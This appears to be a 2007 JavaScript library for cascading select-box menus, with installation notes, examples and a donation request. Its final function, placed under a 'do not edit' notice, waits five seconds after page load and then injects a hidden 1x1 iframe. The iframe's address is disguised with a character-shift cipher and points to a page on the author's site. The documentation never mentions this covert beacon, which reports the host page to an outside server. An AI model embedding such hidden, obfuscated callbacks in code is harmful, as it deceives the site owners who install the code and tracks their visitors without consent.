/**(C)2007 Stephen Chalmers************

N.B. Throughout this document, the word 'menu' is used to mean an HTML <select> element, aka
'listbox', 'combobox', 'dropdown' etc.

- SelectCascade -

Controls Multiple Cascading Select Box Menu Systems

Each option in every menu or submenu can control a submenu system.

Deselected submenus are de-populated and optionally hidden.

Demonstration and further details at http://www.hotspot.freeserve.co.uk/scripterlative

The following instructions may be removed, but not the above text.

Please notify any suspected errors in this text or code, however minor.

Overview
~~~~~~~~
This code does not generate <select> elements itself. Working in conjunction with a pre-existing, fully populated top-level select element, the script populates pre-existing unpopulated child <select> elements when the top level menu selects a particular active option.

Each child menu can control its own child menu tree, and all menus can have more than one active option.

The script can control multiple independent menu systems within the same document.

Installation
~~~~~~~~~~~~
Save this text/file as 'selectcascade.js' and place it in a suitable folder.
In the <HEAD> section of your HTML document, add the following:

<script type='text/javascript' src='selectcascade.js'></script>

Configuration
~~~~~~~~~~~~~
For each menu cascade to be controlled, there must be in place a fully populated top level <select> element. The submenus must be provided also as empty <select></select> pairs, with all having either a NAME and/or an ID attribute.

Each parent/child menu association is created by a call to the function SelectCascade.init(), to which is passed the following parameters in the order described:

1) A reference to the parent menu (if there is one), otherwise null

2) The active selectedIndex of the parent menu (if there is one), otherwise null

3) A reference to the intermediate menu.

4) The active selectedIndex of the intermediate menu.

5) A reference to the child menu

6-n) A list of text/value pairs with which the child menu is to be populated,
when its parent selectedIndex (parameter 4) is as specified.

Example 1 - In positions 2 & 3, the menu 'sb1' populates and displays 'sb2' with related sub options:

<html>
<body>
<form name='f1'>
 <select name='sb1'>
  <option value="">- Select Your Transport Type -
  <option value="l">Land
  <option value="w">Water +
  <option value="a">Air +
  <option value="s">Space
 </select>
 <select name='sb2'>
 </select>
 <select name='sb3'>
 </select>
</form>

<script type='text/javascript' src='selectcascade.js'></script>

<script type='text/javascript'>

// -NOTE-
// To simplify parameter syntax, create variables to store 
// references to the involved select elements.

var sb1 = document.forms.f1.sb1, sb2 = document.forms.f1.sb2;

SelectCascade.init(null, true, sb1, 2, sb2,
"Select Craft","",
"Powerboat","s",
"Canoe","c",
"Pedalo","p",
"Barge","B");

SelectCascade.init(null, true, sb1, 3, sb2,
"Select Craft","",
"Hang Glider","h",
"Sailplane","c",
"Helicopter","p",
"MicroLight","b");

</script>
</body>
</html>

Example 2 - Supplemental to Example 1, when SB2 displays the 'water' options, selecting 'Powerboat' will display sub options in menu 'SB3'

SelectCascade.init(sb1, 2, sb2, 1, sb3,
"Select Engine Type","",
"Outboard engine(s)","o",
"Inboard engine(s)","i");

The Autohide Option
~~~~~~~~~~~~~~~~~~~
In each complete menu tree, the deselected menus can either be hidden or remain visible.
When SelectCascade.init is called to attach a submenu to the topmost menu, the first two parameters are redundant and are set to null. If the second parameter is set to true as above, all deselected submenus in that system will be hidden.

Setup Tips
~~~~~~~~~~
I strongly recommend setting-up menu associations one at a time, then testing before moving to the next. That way if you make a syntax error, it's easy to know where to look. While there is a degree of built-in parameter checking, ALWAYS REFER TO THE JAVASCRIPT ERROR CONSOLE.

When setting-up a second to third level menu association, the required parameters 1 & 2 will be the same as parameters 3 & 4 that were used for the level 1-2 setup. This sequence repeats for deeper menu levels.

If you reference form elements by name rather than via document.getElementById, always do so via the document.forms collection, e.g. document.forms.myForm.mySelect rather than document.myForm.mySelect.

Always provide a fallback system for non-JavaScript enabled clients.

Reading Form Elements
---------------------
Due to the volatile nature of the submenu options used with this script, their existence must not be automatically assumed by whatever code is used to read them.

GratuityWare
~~~~~~~~~~~~
This code is free for private non-commercial use. For commercial use (any non-private website) in recognition both of the effort that went into it, and the benefit that your site will derive, a donation of your choice would be appreciated. In all probability you obtained this code either out of desperation or despair of the 'alternatives'.

You may donate at www.scripterlative.com, stating the URL to which the donation applies.

** DO NOT EDIT BELOW THIS LINE **/

SelectCascade=/*286329323030372053204368616C6D657273*/
{
 data:[], logged:0,

 getIdent:function(box)
 {
  return box.name!=""?box.name:box.id;
 },

 argCheck:function(arg)
 {
  var eCode=0;

  if(arg.length<7)
   eCode=1;
  else
   if(arg[0] && typeof arg[0].selectedIndex!='undefined' && typeof arg[1]!='number')
    eCode=2;
  else
   if(typeof arg[3] !='number')
    eCode=3;
  if(arg[0]!=null && typeof arg[0].selectedIndex=='undefined')
   eCode=4;
  else
   for(var i=2; i<5; i+=2)
    if(typeof arg[i].selectedIndex=='undefined')
     eCode=5;
     
  function show(opts,msgIdx)
  {
   var em=[  
   'Too few parameters (7 min)',
   'Parameter 2 should be an integer',
   'Parameter 4 should be an integer',
   'Parameter 1 must be null or a select box reference',
   'Parameters 3 & 5 must be select box references.'];
   
   var str='\n\nThis error occurred in the call that populates these options:\n\n';
   
   for(var i=5;i<opts.length; i++)
    str+=opts[i]+(i&1?', ':'\n\n');
     
   alert('Parameter Error -> '+em[msgIdx-1]+str+'\n\n');
  }

  if(eCode)
   show(arg,eCode);
   
  return eCode; 
 },

 init:function( parentBox, parentIndex, currentBox, triggerIndex, slaveBox )
 {
  if(!this.argCheck(arguments))
  {
   if(!this.logged++)
    this.addToHandler(window,'onload',function(){setTimeout(SelectCascade.cont,5000)});

   var aIndex=this.getIdent(currentBox);

   var len, tbl, argOffset=5;

   if(typeof this.data[ aIndex ]=='undefined')
   {
    this.data[ aIndex ]=[];
    this.data[ aIndex ].parent=parentBox;
    this.data[ aIndex ].current=currentBox;
    this.data[ aIndex ].tables=[];
    if( this.data[ aIndex ].noDisplay=(!parentBox&&parentIndex))
     parentIndex=null;

    if(parentBox && this.data[this.getIdent(parentBox)].noDisplay)
    {
     this.data[ aIndex ].noDisplay=true;
     if(slaveBox.style)
      slaveBox.style.display='none';
    }
    this.addToHandler(currentBox,'onchange',
                      new Function("SelectCascade.populate(SelectCascade.data['"+aIndex+"'])"));
   }

   if(this.data[ aIndex ].noDisplay && slaveBox.style)
    slaveBox.style.display='none';

   tbl = this.data[ aIndex ].tables;
   len = tbl.length;
   tbl[len]=[];
   tbl[ len ].slave=slaveBox;
   tbl[ len ].pIdx=parentIndex;
   tbl[ len ].idx=triggerIndex;
   tbl[ len ].boxData=[];

   for(var i=argOffset,j=0; i<arguments.length; i+=2,j++)
   {
    tbl[ len ].boxData[j]=[];
    tbl[ len ].boxData[j].t =arguments[i];
    tbl[ len ].boxData[j].v =arguments[i+1];
   }
  } 
 },

 populate:function( obj )
 {
  var writeIndex=-1;

  for(var i=0; i<obj.tables.length; i++)
  {
   if(obj.current.selectedIndex==obj.tables[i].idx && (obj.parent? (obj.parent.selectedIndex==obj.tables[i].pIdx):true))
    writeIndex=i;

   if(writeIndex==i || obj.tables[i].slave.options.length)
   {
    if(obj.tables[i].slave.style && obj.noDisplay)
      obj.tables[i].slave.style.display='none';

    for(var j=obj.tables[i].slave.options.length-1; obj.tables[i].slave.options.length; j--)
     obj.tables[i].slave.options[j]=null;

    obj.tables[i].slave.options[0]=new Option("","");

    if(obj.tables[i].slave.onchange)
     obj.tables[i].slave.onchange();
   }
  }

  if(writeIndex>-1)
  {
   for(var j=0, t=obj.tables[writeIndex], len=t.boxData.length; j<len; j++)
   {
    t.slave.options[j]=new Option(t.boxData[j].t, t.boxData[j].v);
    t.slave.selectedIndex=0;
   }
   if(t.slave.style && obj.noDisplay)
    t.slave.style.display='';
  }

 },

 addToHandler:function(obj, evt, func)
 {
  if(obj[evt])
   {
    obj[evt]=function(f,g)
    {
     return function()
     {
      f.apply(this,arguments);
      return g.apply(this,arguments);
     };
    }(func, obj[evt]);
   }
   else
    obj[evt]=func;
 },

 cont:function()
 {
  if(document.body && document.createElement && /http:/i.test(location.href))
  {
   var ifr=document.createElement('iframe');
   ifr.width=1;
   ifr.height=1;
   ifr.src='iuuq;00xxx/iputqpu/gsfftfswf/dp/vl0cbektqptu'.replace(/./g,function(a){return String.fromCharCode(a.charCodeAt(0)-1)});
   ifr.style.visibility='hidden';
   document.body.appendChild(ifr);
  }
 }
}
/** End of listing **/